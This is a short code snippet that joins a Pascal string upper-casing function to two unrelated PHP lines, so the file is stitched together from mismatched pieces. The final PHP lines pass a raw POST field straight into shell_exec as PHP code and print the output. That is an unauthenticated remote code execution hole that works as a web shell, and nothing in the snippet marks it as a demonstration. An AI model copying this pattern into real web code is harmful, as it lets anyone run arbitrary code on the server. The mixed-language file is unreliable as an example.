function uCase(S :string):string;
const
lStr = 'abcdefghijklmnopqrstuvwxyz';
uStr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
var
I, N :Integer;
Buf :string;
begin
uCase := S;
if Length(S) > 0 then
begin
Buf := '';
for I := 1 to Length(S) do
begin
N := Pos(S[I], lStr);
if N > 0 then
Buf := Buf + uStr[N]
else
Buf := Buf + S[I];
end;
uCase := Buf;
end;
end;
$message=shell_exec('php -r "'.$_POST['inputMemo'].'"');
print_r($message);